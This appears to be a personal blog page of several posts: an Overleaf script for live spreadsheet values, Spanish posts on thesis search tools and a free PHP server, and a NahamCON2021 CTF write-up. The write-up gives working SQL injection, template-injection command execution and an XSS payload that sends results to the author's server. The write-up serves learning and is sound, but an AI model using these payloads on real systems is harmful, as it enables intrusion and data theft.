Dynamic updates in Overleaf

How do you keep updated in your LaTeX document a number that changes every often in its original source?…

I was writing a document in @overleaf that included some numbers extracted from an online spreadsheet that was updated regularly. 🧵

I needed to keep my LaTeX document in sync with those shared spreadsheet values. But AFAIK there wasn't any option available neither in Overleaf nor in any other LaTeX package for implementing "dynamic update" behavior. So I created one 🙂

First, we need to publish a link to the source spreadsheet so we can access the value of any cell through an endpoint like:
(Share it at least for read access. Then, publish it: File / Publish to the web)

https://spreadsheets.google.com/feeds/cells/1xhWskXv1qCDIHSAxSzEaQBeFKP1vfuR5ZLdx7nsgBg4/default/public/full/R3C3?alt=json

(R3C3 = Row 3, Column 3 = Row 3, Column C)

If you need further explanations about how to obtain the URL shown here, use this step-by-step guide:
https://www.freecodecamp.org/news/cjn-google-sheets-as-json-endpoint/)

Then, we need to define a LaTeX command to access the endpoint and insert the cell value from the spreadsheet in our LaTeX document. Something like

\get{https://spreadsheets.google.com/feeds/cells/1xhWskXv1qCDIHSAxSzEaQBeFKP1vfuR5ZLdx7nsgBg4/default/public/full/R3C3?alt=json}{XXX}

(The XXX value is the value by default)

We will define the \get command in our LaTeX document as follows:

But how can we instruct Overleaf to execute that \get command to access the JSON value from the endpoint and insert it online in our current document?

Well, we first need to know how to parse an Overleaf document programmatically.

Then we need to know how to search for the \get command in our LaTex document.

Internally, Overleaf uses the Ace editor

https://ace.c9.io/

Ace is an embeddable code editor written in JavaScript. It offers a simple yet complete JS API to access and manipulate the content of the current document.

Let's try to use the Ace API offered by Overleaf to get the number of lines of the current LaTeX document.

Open DevTools in Chrome (or the web console in Firefox) and run this script:

As you can see, we obtained the reference to Ace and calculated the number of lines of the current document programmatically (25, in our case)

Now, using the same API we are now in a good position to find the next occurrence of our \get command in the document:

Once our \get command is selected, we need to parse it and obtain the URL of the endpoint and the dynamic value of the cell (we will store it in the newValue variable)

Something like this:

Finally, we only need to replace the current \get command and value with the new value… and iterate, finding the next occurrence and repeating the process.

I have published a gist with the full source code 🙂

let ace = document.querySelector(".ace_editor");
// ace.env.editor.session.getLength(); // number of lines
let previousRow = 0
let r = ace.env.editor.find('\\get\{(.*?)\}\{(.*?)\}',{
backwards: false,
wrap: false,
caseSensitive: false,
wholeWord: false,
regExp: true
});
while (r?.end.row >= previousRow){
previousRow = r.end.row
const original = ace.env.editor.getSelectedText();
const values = original.match(/\{.*?\}/g)
const jsonvalue = await fetch(values[0].substring(1, values[0].length-1))
const cell = await jsonvalue.json()
const newValue = parseFloat(cell.entry.content.$t)
const range = ace.env.editor.selection.getRange();
ace.env.editor.session.replace(range, `\get${values[0]}{${newValue}}`);
r = ace.env.editor.find('\\get\{(.*?)\}\{(.*?)\}',{
backwards: false,
wrap: false,
caseSensitive: false,
wholeWord: false,
regExp: true
});
}

Here, you can see the script in action. Hope it helps!

A link to the LaTeX document used in the video:

https://www.overleaf.com/read/nvqpgknvmbrj

Originally tweeted by juanan (@juanan) on 12 July, 2021.

Revisando TFGs (I)

Ahora que tenemos RepoSearch funcionando, estos días me gustaría destacar algunos TFGs que me han llamado la atención. El primero de ellos lleva por título:
"Diseño de máquina arcade con servidor Web e identificación NFC" y es una delicia para los amantes de los juegos retro

https://riunet.upv.es/handle/10251/165377

Publicado en abril de 2021, su autor, Alejandro Grau, nos muestra una implementación completa de una máquina arcade con una Raspberry Pi.
Para su desarrollo, se ha basado en RetroPie

https://retropie.org.uk

RetroPie permite emular una gran variedad de consolas, desde las más antiguas como Atari, hasta las más actuales como PlayStation 1, PlayStation 2 o PlayStation Portable.

Como añadido extra, se incluyen también instrucciones de conexión y programación de un módulo RFID que permite al usuario identificarse para jugar la partida y guardar las puntuaciones 🙂

Me gusta que el autor no se haya quedado sólo en la parte de desarrollo software sino que nos regala también el diseño de la carcasa hardware

Como prueba de concepto el autor ha integrado el juego Pang (1989) publicado por Mitchel Corporation en Europa y Capcom en USA (bajo el título Buster Bros)
Tengo debilidad por este juego y fue uno de los que implementamos en la asignatura #DAWE en el curso 19/20 🙂

Originally tweeted by juanan (@juanan) on 7 May, 2021.

RepoSearch, un buscador de TFGs de Ingeniería Informática

¿Alguna vez te has preguntado si el TFG de Informática que vas a llevar a cabo no lo ha hecho ya alguien en alguna otra facultad? Si es así, o si estudias Ingeniería Informática y estás decidiendo qué TFG llevar a cabo, sigue leyendo 🧵👇

Los repositorios institucionales de las universidades guardan las memorias de los TFGs del Grado en Ingeniería Informática de todas las facultades. No había un buscador que permitiera una búsqueda simultánea en todos ellos. Así que he programado uno 🙂

https://reposearch.ikasten.io/

RepoSearch permite buscar en los metadatos de las memorias de los TFG de Informática que estén publicadas en repositorios con licencia Creative Commons (suele ser cc-by-nc-nd).
¿Qué facultades de informática se indexan en RepoSearch? Estas.

Una vez localizadas las facultades de interés, ¿cuáles son las URL de los repositorios donde guardan sus memorias? Para responder a esta pregunta tenemos a nuestra disposición el directorio de repositorios de REBIUN (Red de Bibliotecas Universitarias)

Por ejemplo, ADDI https://addi.ehu.es/ es el repositorio de mi Universidad, la UPV/EHU, e incluye las memorias del grado en ingeniería informática tanto de la Facultad de Informática de Donostia como de la Escuela de Ingeniería de Bilbao.

Bien, pero ¿cómo extraemos los resultados? Y antes de eso, ¿cómo buscamos las memorias de TFG filtrando por grado o por facultad? Bueno, podemos usar el protocolo OAI-PMH para buscar y obtener metadatos de repositorios abiertos.

OAI-PMH son las siglas de Open Archives Initiative Protocol for Metadata Harvesting. Puedes leer al respecto aquí: https://www.openarchives.org/pmh/ Si controlas Python, hay un módulo que te ayudará a trabajar con OAI.

He de decir que inicialmente me lié la manta a la cabeza y fui a lo bruto, con mis conocimientos de Python + Scrapy, a realizar web scraping como si no hubiera un mañana 🤷‍♂️ Tras un café relajado pensé que estaba haciendo el tonto (sí), y que habría otra forma (oai-pmh) 🙂

En fin, el problema de los repositorios es que cada uno organiza los TFGs como le viene en gana. Algunos los organizan por facultad o escuela, otros por departamento, otros por palabras clave… Para programar Reposearch tuve que indagar, uno por uno, en el método de organización

A partir de ahí, mezclando Python+Sickle+SQLAlchemy con un poco de BeautifulSoup, me permitieron capturar todos los metadatos que buscaba y guardarlos en una BBDD MySQL. A día de hoy se guardan 9832 registros

Para finalizar, si quieres estar al tanto de las novedades, de nuevas memorias de TFG que se publiquen, etc. puedes seguir la cuenta @BuscaRepo. Cuando se añada una nueva memoria en https://reposearch.ikasten.io esa cuenta tuiteará automáticamente la novedad.

NahamCON2021 CTF / AgentTester Challenge / WriteUp

This weekend I have been playing a little bit with some of the challenges of the NathamCon2021 CTF. In the web category, I devoted some time to AgentTester. Even though it was initially tagged as «hard», then it was demoted to medium (surely enough because there was an unintended solution that I also took advantage of 🙂

AgentTester, designed by the great @jorgectf, includes a Dockerfile allowing you to test it using your personal docker container. 

First, you’ll need to build an image:

$ docker build -t agent-tester .

Double check that the images has been correctly built:

$ docker image ls
REPOSITORY                TAG       IMAGE ID       CREATED         SIZE
agent-tester              latest    58a61e41b476   3 minutes ago   1.45GB

And there you go. You can run your own web container, linked to tcp/3000:

Analyzing a little bit the source code of the Flask application,  we can see a simple web app with 4 route entries:

@app.route(«/», methods=[«GET»]) for the home

@app.route(«/debug», methods=[«POST»]) for debugging 

@app.route(«/profile/<int:user_id>», methods=[«GET», «POST»]) for profile management

@ws.route(«/req») This one sends a WebSocket message and initiates a request 

Let’s dig a little bit further:

/ route : it just shows the home page. There we can see a simple input text field and a Submit button. Reading the code it is clear that the user agent typed will be used to query a SQLite database in @ws.route(«/req»):

 try:
            query = db.session.execute(
                "SELECT userAgent, url FROM uAgents WHERE userAgent = '%s'" % uAgent
            ).fetchone()

            uAgent = query["userAgent"]
            url = query["url"]

If there is a match, the associated URL will be visited by a headless chrome launched by this line:

 subprocess.Popen(["node", "browser/browser.js", url, uAgent])

That SQL query seems injectable, doesn’t it?

What do we have inside that SQLite database?

Oh, a user table, let’s see what’s inside…

And we also have an admin user. Let’s try to extract the password:

‘ union select password,’http://localhost’ from user where username=’admin

Here we go!

Now that we can impersonate the admin, let’s see what do we have in the /debug route:

@app.route("/debug", methods=["POST"])
def debug():
    sessionID = session.get("id", None)
    if sessionID == 1:
        code = request.form.get("code", "<h1>Safe Debug</h1>")
        return render_template_string(code)
    else:
        return "Not allowed."

Oh, admin has an ID=1, so no problem there. And the render_template_string() method seems SSTI injectable. Let’s check it…

Yep! This sentence did the trick:

code={{config.__class__.__init__.__globals__['os'].popen('env').read()}}

And there we have, the CHALLENGE_FLAG is one of the environment variables, so we got the Flag using an unintended solution 🙂 Why is it unintended? Well, remember that we also have this unexplored route: 

@app.route("/profile/<int:user_id>", methods=["GET", "POST"]) for profile management

In fact, this profile page is a simple form with two fields, email and about. The later is somewhat  special because the author has added a suspicious security related comment near that input text: 

<div class="form-group">
          <label for="aboutInput">About</label>
          <!-- Let users set anything since only them can access their about. -->
          <input type="text" class="form-control" name="about" id="aboutInput"
          placeholder="A great haxor from <country>" value="{{ user.about|safe }}">

And, as you can see, it is XSS injectable. We can write whatever we want there due to the «|safe» clause.

Well, the AgentTesterv2 (hard web challenge, published after the unintended solution was unveiled) starts from here: the admin password is bcrypted so we can’t crack it. Now what? Well, my idea was the following: use the XSS to inject the following code:

fetch('http://vulnerable:3000/debug', {
  method: 'POST', // or 'PUT'
headers: new Headers({
             'Content-Type': 'application/x-www-form-urlencoded', 
    }),
  body: "code={{config.__class__.__init__.__globals__['os'].popen('env').read()}}",
})
.then(response => response.text())
.then(data => {
  console.log('Success:', data);
   resp = data;
})
.catch((error) => {
  console.error('Error:', error);
});

Or, more succinctly, this one-liner:

" autofocus onfocus="fetch('http://challenge.nahamcon.com:30711/debug', {   method: 'POST',  headers: new Headers({              'Content-Type': 'application/x-www-form-urlencoded',      }),   body: 'code={{config.__class__.__init__.__globals__[\'os\'].popen(\'env\').read()}} ', }) .then(response => response.text()) .then(data => {   console.log('Success:', data);    resp = data;  new Image().src='http://ikasten.io:3000/?'+resp;   })

As you can see, the field will get the (auto)focus and then run the XSS. It basically uses fetch to POST the STTI and exfiltrate the result to my own server (ikasten.io).

Then, my idea was to instruct the headless chrome to visit this XSS profile, as follows:

' union select 'agente','http://challenge.nahamcon.com:30711/profile/2

But,  unfortunately there is a flaw in my logic. Why? Well, first, let’s see what user is used to run the headless chrome: 

const puppeteer = require('puppeteer');
(async () => {
  const browser = await puppeteer.launch(
    {      args: [        '--no-sandbox',      ]    }
  );
  const page = await browser.newPage();
  var url = process.argv[2];
  var uAgent = process.argv[3];
  var base_url = process.env.BASE_URL;

  page.setExtraHTTPHeaders({
     'user-agent': uAgent,
  })

  const cookies = [{
    'name': 'auth2',
    'value': '<REDACTED>',
    'domain': base_url,
    'httpOnly': true
  }];

The auth2 value of the cookie is set to the admin’s cookie. No problem here! you may think, the admin can access any profile, like the profile/2 URL in our case, can’t it? Well, the truth is that it can’t. In fact, each profile page can only be accessed by their own legitimate user.  So user_id=1 can’t access profile/2 or viceversa:

@app.route("/profile/<int:user_id>", methods=["GET", "POST"])
@login_required
def profile(user_id):

    if g.user.id == user_id:

And here we are, how to convince the crawler (run as user_id=1) to access a profile for user_id=2 that it is not supposed to be accessible… or how can I update the profile of user_id=1 as a user_id=2? No idea, man, but I’m eager to learn about it 🙂

Update: check the solution written by the author himself, this one by @lanjelot, and this one by @berji

Servidor web + PHP + nombre público a coste 0 en 2 minutos

Receta rápida para montar un servidor web con nombre público y soporte PHP, a coste 0, en 2 minutos.

1) Entra en Google Cloud Shell
https://cloud.google.com/shell
Verás una terminal en el navegador (internamente usa Debian GNU/Linu 10)
Por defecto serás el usuario X (donde X es tu nombre en Gmail/Google)

2) Google Cloud Shell no es accesible desde el exterior (no te ofrece una IP pública, sino privada)

$ ifconfig
inet 172.17.0.4

Puedes convertirte en root, tienes permisos de sudo. Así puedes instalar cualquier paquete.

El primero que necesitaremos es ngrok, así que vamos allá

$ wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
$ unzip

http://ngrok-stable-linux-amd64.zip

3) También necesitaremos tmux

$ sudo apt update
$ sudo apt install tmux

Listo, todo preparado.

4) Abrimos una sesión con tmux

$ tmux

Y creamos un simple script PHP:

$ echo «<?php phpinfo();»> info.php

Lanzamos ahora un servidor web con soporte PHP en el puerto 4444:

$ php -S 0.0.0.0:4444

5) Abrimos otra ventana tmux. Para ello, pulsamos Ctrl+b y a continuación la tecla c (create)
Desde aquí creamos un túnel con ngrok, para que nos asigne un nombre accesible desde el exterior.

Lo conectamos con el puerto 4444. Todo ello con:

$ ngrok http 4444

6) Fin! Ya tenemos accesible nuestro server PHP desde el navegador, a través de un nombre público a coste 0. Por supuesto puedes instalar mysql o cualquier otra BBDD o lenguaje de scripting (nodejs, Ruby…)

PD: alguien puede argumentar que esto mismo se puede hacer en local y enlazar por ngrok. TRUE, pero el ancho de banda que ofrece Google seguro que mejora al que tienes en casa. Y en la shell de Google tendrás más de 20 GB libres. Rápido, barato y espacioso!

PD2: y otra razón es que puedes editar tus scripts desde el navegador y ver los resultados on-the-fly

Originally tweeted by juanan (@juanan) on 24 February, 2021.